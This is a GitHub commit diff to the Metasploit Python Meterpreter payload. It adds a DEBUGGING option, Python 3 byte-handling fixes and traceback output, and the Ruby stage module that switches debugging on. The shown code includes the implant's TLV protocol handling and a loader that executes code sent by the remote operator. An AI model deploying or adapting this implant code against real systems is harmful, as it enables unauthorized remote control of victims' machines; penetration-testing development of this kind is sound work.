Skip to content

Commit 145776d

Browse files
committed
Add a DEBUGGING option to the python meterpreter
1 parent 15b1c79 commit 145776d

File tree

2 files changed

+62
-46
lines changed

2 files changed

+62
-46
lines changed

data/meterpreter/meterpreter.py

Lines changed: 54 additions & 46 deletions
Original file line numberDiff line numberDiff line change
@@ -1,12 +1,5 @@
11
#!/usr/bin/python
22
import code
3-
try:
4-
import ctypes
5-
except:
6-
has_windll = False
7-
else:
8-
has_windll = hasattr(ctypes, 'windll')
9-
103
import os
114
import random
125
import select
@@ -15,13 +8,29 @@
158
import subprocess
169
import sys
1710
import threading
11+
import traceback
12+
13+
try:
14+
import ctypes
15+
except ImportError:
16+
has_windll = False
17+
else:
18+
has_windll = hasattr(ctypes, 'windll')
1819

1920
if sys.version_info[0] < 3:
20-
bytes = str
21+
is_bytes = lambda obj: issubclass(obj.__class__, str)
22+
bytes = lambda *args: str(*args[:1])
23+
NULL_BYTE = '\x00'
24+
else:
25+
is_bytes = lambda obj: issubclass(obj.__class__, bytes)
26+
str = lambda x: __builtins__['str'](x, 'UTF-8')
27+
NULL_BYTE = bytes('\x00', 'UTF-8')
2128

2229
#
2330
# Constants
2431
#
32+
DEBUGGING = False
33+
2534
PACKET_TYPE_REQUEST = 0
2635
PACKET_TYPE_RESPONSE = 1
2736
PACKET_TYPE_PLAIN_REQUEST = 10
@@ -103,6 +112,7 @@
103112
TLV_TYPE_LOCAL_PORT = TLV_META_TYPE_UINT | 1503
104113

105114
EXPORTED_SYMBOLS = {}
115+
EXPORTED_SYMBOLS['DEBUGGING'] = DEBUGGING
106116

107117
def export(symbol):
108118
EXPORTED_SYMBOLS[symbol.__name__] = symbol
@@ -128,25 +138,6 @@ def inet_pton(family, address):
128138
return ''.join(map(chr, lpAddress[8:24]))
129139
raise Exception('no suitable inet_pton functionality is available')
130140

131-
@export
132-
def packet_get_tlv(pkt, tlv_type):
133-
offset = 0
134-
while (offset < len(pkt)):
135-
tlv = struct.unpack('>II', pkt[offset:offset+8])
136-
if (tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type:
137-
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
138-
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
139-
val = val.split('\x00', 1)[0]
140-
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
141-
val = struct.unpack('>I', val)[0]
142-
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
143-
val = bool(struct.unpack('b', val)[0])
144-
elif (tlv[1] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
145-
pass
146-
return {'type':tlv[1], 'length':tlv[0], 'value':val}
147-
offset += tlv[0]
148-
return {}
149-
150141
@export
151142
def packet_enum_tlvs(pkt, tlv_type = None):
152143
offset = 0
@@ -155,7 +146,7 @@ def packet_enum_tlvs(pkt, tlv_type = None):
155146
if (tlv_type == None) or ((tlv[1] & ~TLV_META_TYPE_COMPRESSED) == tlv_type):
156147
val = pkt[offset+8:(offset+8+(tlv[0] - 8))]
157148
if (tlv[1] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
158-
val = val.split('\x00', 1)[0]
149+
val = val.split(NULL_BYTE, 1)[0]
159150
elif (tlv[1] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
160151
val = struct.unpack('>I', val)[0]
161152
elif (tlv[1] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
@@ -166,25 +157,37 @@ def packet_enum_tlvs(pkt, tlv_type = None):
166157
offset += tlv[0]
167158
raise StopIteration()
168159

160+
@export
161+
def packet_get_tlv(pkt, tlv_type):
162+
try:
163+
tlv = list(packet_enum_tlvs(pkt, tlv_type))[0]
164+
except IndexError:
165+
return {}
166+
return tlv
167+
169168
@export
170169
def tlv_pack(*args):
171170
if len(args) == 2:
172171
tlv = {'type':args[0], 'value':args[1]}
173172
else:
174173
tlv = args[0]
175174
data = ""
176-
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
177-
data = struct.pack('>II', 8 + len(tlv['value']) + 1, tlv['type']) + tlv['value'] + '\x00'
178-
elif (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
175+
if (tlv['type'] & TLV_META_TYPE_UINT) == TLV_META_TYPE_UINT:
179176
data = struct.pack('>III', 12, tlv['type'], tlv['value'])
180177
elif (tlv['type'] & TLV_META_TYPE_BOOL) == TLV_META_TYPE_BOOL:
181-
data = struct.pack('>II', 9, tlv['type']) + chr(int(bool(tlv['value'])))
182-
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
183-
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
184-
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
185-
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
186-
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
187-
data = struct.pack('>II', 8 + len(tlv['value']), tlv['type']) + tlv['value']
178+
data = struct.pack('>II', 9, tlv['type']) + bytes(chr(int(bool(tlv['value']))), 'UTF-8')
179+
else:
180+
value = tlv['value']
181+
if not is_bytes(value):
182+
value = bytes(value, 'UTF-8')
183+
if (tlv['type'] & TLV_META_TYPE_STRING) == TLV_META_TYPE_STRING:
184+
data = struct.pack('>II', 8 + len(value) + 1, tlv['type']) + value + NULL_BYTE
185+
elif (tlv['type'] & TLV_META_TYPE_RAW) == TLV_META_TYPE_RAW:
186+
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
187+
elif (tlv['type'] & TLV_META_TYPE_GROUP) == TLV_META_TYPE_GROUP:
188+
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
189+
elif (tlv['type'] & TLV_META_TYPE_COMPLEX) == TLV_META_TYPE_COMPLEX:
190+
data = struct.pack('>II', 8 + len(value), tlv['type']) + value
188191
return data
189192

190193
#@export
@@ -254,7 +257,7 @@ def __init__(self, socket):
254257
self.channels = {}
255258
self.interact_channels = []
256259
self.processes = {}
257-
for func in filter(lambda x: x.startswith('_core'), dir(self)):
260+
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
258261
self.extension_functions[func[1:]] = getattr(self, func)
259262
self.running = True
260263

@@ -360,13 +363,13 @@ def _core_loadlib(self, request, response):
360363
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
361364
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
362365
return ERROR_FAILURE
363-
preloadlib_methods = self.extension_functions.keys()
366+
preloadlib_methods = list(self.extension_functions.keys())
364367
symbols_for_extensions = {'meterpreter':self}
365368
symbols_for_extensions.update(EXPORTED_SYMBOLS)
366369
i = code.InteractiveInterpreter(symbols_for_extensions)
367370
i.runcode(compile(data_tlv['value'], '', 'exec'))
368-
postloadlib_methods = self.extension_functions.keys()
369-
new_methods = filter(lambda x: x not in preloadlib_methods, postloadlib_methods)
371+
postloadlib_methods = list(self.extension_functions.keys())
372+
new_methods = list(filter(lambda x: x not in preloadlib_methods, postloadlib_methods))
370373
for method in new_methods:
371374
response += tlv_pack(TLV_TYPE_METHOD, method)
372375
return ERROR_SUCCESS, response
@@ -484,17 +487,22 @@ def create_response(self, request):
484487
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
485488
resp += tlv_pack(reqid_tlv)
486489

487-
handler_name = method_tlv['value']
490+
handler_name = str(method_tlv['value'])
488491
if handler_name in self.extension_functions:
489492
handler = self.extension_functions[handler_name]
490493
try:
491-
#print("[*] running method {0}".format(handler_name))
494+
if DEBUGGING:
495+
print("[*] running method {0}".format(handler_name))
492496
result, resp = handler(request, resp)
493497
except Exception:
494-
#print("[-] method {0} resulted in an error".format(handler_name))
498+
if DEBUGGING:
499+
print("[-] method {0} resulted in an error".format(handler_name))
500+
exc_type, exc_value, exc_traceback = sys.exc_info()
501+
traceback.print_exception(exc_type, exc_value, exc_traceback, file=sys.stderr)
495502
result = ERROR_FAILURE
496503
else:
497-
#print("[-] method {0} was requested but does not exist".format(handler_name))
504+
if DEBUGGING:
505+
print("[-] method {0} was requested but does not exist".format(handler_name))
498506
result = ERROR_FAILURE
499507
resp += tlv_pack(TLV_TYPE_RESULT, result)
500508
resp = struct.pack('>I', len(resp) + 4) + resp

modules/payloads/stages/python/meterpreter.rb

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,9 @@ def initialize(info = {})
2222
'License' => MSF_LICENSE,
2323
'Session' => Msf::Sessions::Meterpreter_Python_Python
2424
))
25+
register_advanced_options([
26+
OptBool.new('DEBUGGING', [ true, "Enable debugging for the Python meterpreter", false ])
27+
], self.class)
2528
end
2629

2730
def generate_stage
@@ -30,6 +33,11 @@ def generate_stage
3033
met = File.open(file, "rb") {|f|
3134
f.read(f.stat.size)
3235
}
36+
37+
if datastore['DEBUGGING']
38+
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
39+
end
40+
3341
met
3442
end
3543
end

0 commit comments

Comments
 (0)